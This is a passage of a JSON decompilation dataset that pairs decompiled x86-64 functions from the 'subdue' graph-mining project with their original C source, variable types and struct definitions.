0LL;\nInstanceListInsert(v3, v4, 0LL);\n}\n}\nreturn v4;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(unsigned __int64 *a1, _QWORD *a2)\n{\n__int64 v3; // [rsp+28h] [rbp-18h]\n__int64 v4; // [rsp+30h] [rbp-10h]\nunsigned __int64 i; // [rsp+38h] [rbp-8h]\n\nv4 = AllocateInstanceList();\nfor ( i = 0LL; i < *a1; ++i )\n{\nif ( *(_QWORD *)(a1[2] + 40 * i) == *a2 )\n{\nv3 = AllocateInstance(1LL, 0LL);\n**(_QWORD **)(v3 + 16) = i;\n*(_QWORD *)(v3 + 32) = 0LL;\nInstanceListInsert(v3, v4, 0LL);\n}\n}\nreturn v4;\n}", "original_code": "InstanceList *FindSingleVertexInstances(Graph *graph, Vertex *vertex,\n Parameters *parameters)\n{\n ULONG v;\n InstanceList *instanceList;\n Instance *instance;\n instanceList = AllocateInstanceList();\n for (v = 0; v < graph->numVertices; v++)\n {\n if (graph->vertices[v].label == vertex->label)\n {\n instance = AllocateInstance(1, 0);\n instance->vertices[0] = v;\n instance->minMatchCost = 0.0;\n InstanceListInsert(instance, instanceList, 0);\n }\n }\n return instanceList;\n}", "canonical_original_code": "struct InstanceList *FindSingleVertexInstances(struct Graph *graph, struct Vertex *vertex, struct Parameters *parameters)\n{\n unsigned long v;\n struct InstanceList *instanceList;\n struct _instance *instance;\n instanceList = AllocateInstanceList();\n for (v = 0; v < graph->numVertices; v++)\n {\n if (graph->vertices[v].label == vertex->label)\n {\n instance = AllocateInstance(1, 0);\n instance->vertices[0] = v;\n instance->minMatchCost = 0.0;\n InstanceListInsert(instance, instanceList, 0);\n }\n }\n return instanceList;\n}", "variable_types": [ [ "graph", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "vertex", "struct Vertex *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "v", "unsigned long" ], [ "instanceList", "struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *" ], [ "instance", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *" ] ], "return_type": "struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *", "user_defined_types": [ "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }" ], "binary_hash": "2cdc6617b00752edfc69df701191d7fce041c55bf872f71a912b9e0f95b0804e" }, { "name": "ExtendInstancesByEdge", "canonical_name": "func2", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall ExtendInstancesByEdge(unsigned __int64 ***a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)\n{\n__int64 v9; // [rsp+30h] [rbp-40h]\n__int64 v10; // [rsp+38h] [rbp-38h]\n__int64 v11; // [rsp+40h] [rbp-30h]\nunsigned __int64 *v12; // [rsp+48h] [rbp-28h]\n__int64 v13; // [rsp+50h] [rbp-20h]\nunsigned __int64 k; // [rsp+58h] [rbp-18h]\nunsigned __int64 j; // [rsp+60h] [rbp-10h]\nunsigned __int64 **i; // [rsp+68h] [rbp-8h]\n\nv13 = AllocateInstanceList();\nfor ( i = *a1; i; i = (unsigned __int64 **)i[1] )\n{\nv12 = *i;\nMarkInstanceEdges(*i, a4, 1LL);\nfor ( j = 0LL; j < *v12; ++j )\n{\nv11 = *(_QWORD *)(a4 + 16) + 40LL * *(_QWORD *)(v12[2] + 8 * j);\nfor ( k = 0LL; k < *(_QWORD *)(v11 + 8); ++k )\n{\nv10 = *(_QWORD *)(a4 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(v11 + 16) + 8 * k);\nif ( !*(_BYTE *)(v10 + 25) && (unsigned __int8)EdgesMatch(a2, a3, a4, v10, a5) )\n{\nv9 = CreateExtendedInstance(v12, *(_QWORD *)(v12[2] + 8 * j), *(_QWORD *)(*(_QWORD *)(v11 + 16) + 8 * k), a4);\nInstanceListInsert(v9, v13, 1LL);\n}\n}\n}\nMarkInstanceEdges(v12, a4, 0LL);\n}\nFreeInstanceList(a1);\nreturn v13;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(unsigned __int64 ***a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)\n{\n__int64 v9; // [rsp+30h] [rbp-40h]\n__int64 v10; // [rsp+38h] [rbp-38h]\n__int64 v11; // [rsp+40h] [rbp-30h]\nunsigned __int64 *v12; // [rsp+48h] [rbp-28h]\n__int64 v13; // [rsp+50h] [rbp-20h]\nunsigned __int64 k; // [rsp+58h] [rbp-18h]\nunsigned __int64 j; // [rsp+60h] [rbp-10h]\nunsigned __int64 **i; // [rsp+68h] [rbp-8h]\n\nv13 = AllocateInstanceList();\nfor ( i = *a1; i; i = (unsigned __int64 **)i[1] )\n{\nv12 = *i;\nMarkInstanceEdges(*i, a4, 1LL);\nfor ( j = 0LL; j < *v12; ++j )\n{\nv11 = *(_QWORD *)(a4 + 16) + 40LL * *(_QWORD *)(v12[2] + 8 * j);\nfor ( k = 0LL; k < *(_QWORD *)(v11 + 8); ++k )\n{\nv10 = *(_QWORD *)(a4 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(v11 + 16) + 8 * k);\nif ( !*(_BYTE *)(v10 + 25) && (unsigned __int8)func3(a2, a3, a4, v10, a5) )\n{\nv9 = CreateExtendedInstance(v12, *(_QWORD *)(v12[2] + 8 * j), *(_QWORD *)(*(_QWORD *)(v11 + 16) + 8 * k), a4);\nInstanceListInsert(v9, v13, 1LL);\n}\n}\n}\nMarkInstanceEdges(v12, a4, 0LL);\n}\nFreeInstanceList(a1);\nreturn v13;\n}", "original_code": "InstanceList *ExtendInstancesByEdge(InstanceList *instanceList,\n Graph *g1, Edge *edge1, Graph *g2,\n Parameters *parameters)\n{\n InstanceList *newInstanceList;\n InstanceListNode *instanceListNode;\n Instance *instance;\n Instance *newInstance;\n ULONG v2;\n ULONG e2;\n Edge *edge2;\n Vertex *vertex2;\n newInstanceList = AllocateInstanceList();\n instanceListNode = instanceList->head;\n while (instanceListNode != ((void *)0))\n {\n instance = instanceListNode->instance;\n MarkInstanceEdges(instance, g2, 1);\n for (v2 = 0; v2 < instance->numVertices; v2++)\n {\n vertex2 = & g2->vertices[instance->vertices[v2]];\n for (e2 = 0; e2 < vertex2->numEdges; e2++)\n {\n edge2 = & g2->edges[vertex2->edges[e2]];\n if ((! edge2->used) &&\n (EdgesMatch(g1, edge1, g2, edge2, parameters)))\n {\n newInstance =\n CreateExtendedInstance(instance, instance->vertices[v2],\n vertex2->edges[e2], g2);\n InstanceListInsert(newInstance, newInstanceList, 1);\n }\n }\n }\n MarkInstanceEdges(instance, g2, 0);\n instanceListNode = instanceListNode->next;\n }\n FreeInstanceList(instanceList);\n return newInstanceList;\n}", "canonical_original_code": "struct InstanceList *ExtendInstancesByEdge(struct InstanceList *instanceList, struct Graph *g1, struct Edge *edge1, struct Graph *g2, struct Parameters *parameters)\n{\n struct InstanceList *newInstanceList;\n struct _instance_list_node *instanceListNode;\n struct _instance *instance;\n struct _instance *newInstance;\n unsigned long v2;\n unsigned long e2;\n struct Edge *edge2;\n struct Vertex *vertex2;\n newInstanceList = AllocateInstanceList();\n instanceListNode = instanceList->head;\n while (instanceListNode != ((void *)0))\n {\n instance = instanceListNode->instance;\n MarkInstanceEdges(instance, g2, 1);\n for (v2 = 0; v2 < instance->numVertices; v2++)\n {\n vertex2 = & g2->vertices[instance->vertices[v2]];\n for (e2 = 0; e2 < vertex2->numEdges; e2++)\n {\n edge2 = & g2->edges[vertex2->edges[e2]];\n if ((! edge2->used) &&\n (EdgesMatch(g1, edge1, g2, edge2, parameters)))\n {\n newInstance =\n CreateExtendedInstance(instance, instance->vertices[v2],\n vertex2->edges[e2], g2);\n InstanceListInsert(newInstance, newInstanceList, 1);\n }\n }\n }\n MarkInstanceEdges(instance, g2, 0);\n instanceListNode = instanceListNode->next;\n }\n FreeInstanceList(instanceList);\n return newInstanceList;\n}", "variable_types": [ [ "instanceList", "struct InstanceList *" ], [ "g1", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "edge1", "struct Edge *" ], [ "g2", "struct Graph *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "newInstanceList", "struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *" ], [ "instanceListNode", "struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *" ], [ "instance", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *" ], [ "newInstance", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *" ], [ "v2", "unsigned long" ], [ "e2", "unsigned long" ], [ "edge2", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *" ], [ "vertex2", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *" ] ], "return_type": "struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *", "user_defined_types": [ "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }" ], "binary_hash": "2cdc6617b00752edfc69df701191d7fce041c55bf872f71a912b9e0f95b0804e" }, { "name": "EdgesMatch", "canonical_name": "func3", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall EdgesMatch(__int64 a1, __int64 a2, __int64 a3, __int64 a4)\n{\n__int64 v5; // [rsp+30h] [rbp-28h]\n__int64 v6; // [rsp+38h] [rbp-20h]\n__int64 v7; // [rsp+40h] [rbp-18h]\n__int64 v8; // [rsp+48h] [rbp-10h]\nunsigned __int8 v9; // [rsp+57h] [rbp-1h]\n\nv9 = 0;\nv8 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 40LL * *(_QWORD *)a2);\nv7 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 40LL * *(_QWORD *)(a2 + 8));\nv6 = *(_QWORD *)(*(_QWORD *)(a3 + 16) + 40LL * *(_QWORD *)a4);\nv5 = *(_QWORD *)(*(_QWORD *)(a3 + 16) + 40LL * *(_QWORD *)(a4 + 8));\nif ( *(_QWORD *)(a2 + 16) == *(_QWORD *)(a4 + 16) && *(_BYTE *)(a2 + 24) == *(_BYTE *)(a4 + 24) )\n{\nif ( v8 == v6 && v7 == v5 )\n{\nv9 = 1;\n}\nelse if ( !*(_BYTE *)(a2 + 24) && v8 == v5 && v7 == v6 )\n{\nv9 = 1;\n}\n}\nreturn v9;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 a1, __int64 a2, __int64 a3, __int64 a4)\n{\n__int64 v5; // [rsp+30h] [rbp-28h]\n__int64 v6; // [rsp+38h] [rbp-20h]\n__int64 v7; // [rsp+40h] [rbp-18h]\n__int64 v8; // [rsp+48h] [rbp-10h]\nunsigned __int8 v9; // [rsp+57h] [rbp-1h]\n\nv9 = 0;\nv8 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 40LL * *(_QWORD *)a2);\nv7 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 40LL * *(_QWORD *)(a2 + 8));\nv6 = *(_QWORD *)(*(_QWORD *)(a3 + 16) + 40LL * *(_QWORD *)a4);\nv5 = *(_QWORD *)(*(_QWORD *)(a3 + 16) + 40LL * *(_QWORD *)(a4 + 8));\nif ( *(_QWORD *)(a2 + 16) == *(_QWORD *)(a4 + 16) && *(_BYTE *)(a2 + 24) == *(_BYTE *)(a4 + 24) )\n{\nif ( v8 == v6 && v7 == v5 )\n{\nv9 = 1;\n}\nelse if ( !*(_BYTE *)(a2 + 24) && v8 == v5 && v7 == v6 )\n{\nv9 = 1;\n}\n}\nreturn v9;\n}", "original_code": "BOOLEAN EdgesMatch(Graph *g1, Edge *edge1, Graph *g2, Edge *edge2,\n Parameters *parameters)\n{\n ULONG vertex11Label;\n ULONG vertex12Label;\n ULONG vertex21Label;\n ULONG vertex22Label;\n BOOLEAN match;\n match = 0;\n vertex11Label = g1->vertices[edge1->vertex1].label;\n vertex12Label = g1->vertices[edge1->vertex2].label;\n vertex21Label = g2->vertices[edge2->vertex1].label;\n vertex22Label = g2->vertices[edge2->vertex2].label;\n if ((edge1->label == edge2->label) &&\n (edge1->directed == edge2->directed))\n {\n if ((vertex11Label == vertex21Label) &&\n (vertex12Label == vertex22Label))\n match = 1;\n else if ((! edge1->directed) &&\n (vertex11Label == vertex22Label) &&\n (vertex12Label == vertex21Label))\n match = 1;\n }\n return match;\n}", "canonical_original_code": "unsigned char EdgesMatch(struct Graph *g1, struct Edge *edge1, struct Graph *g2, struct Edge *edge2, struct Parameters *parameters)\n{\n unsigned long vertex11Label;\n unsigned long vertex12Label;\n unsigned long vertex21Label;\n unsigned long vertex22Label;\n unsigned char match;\n match = 0;\n vertex11Label = g1->vertices[edge1->vertex1].label;\n vertex12Label = g1->vertices[edge1->vertex2].label;\n vertex21Label = g2->vertices[edge2->vertex1].label;\n vertex22Label = g2->vertices[edge2->vertex2].label;\n if ((edge1->label == edge2->label) &&\n (edge1->directed == edge2->directed))\n {\n if ((vertex11Label == vertex21Label) &&\n (vertex12Label == vertex22Label))\n match = 1;\n else if ((! edge1->directed) &&\n (vertex11Label == vertex22Label) &&\n (vertex12Label == vertex21Label))\n match = 1;\n }\n return match;\n}", "variable_types": [ [ "g1", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "edge1", "struct Edge *" ], [ "g2", "struct Graph *" ], [ "edge2", "struct Edge *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int 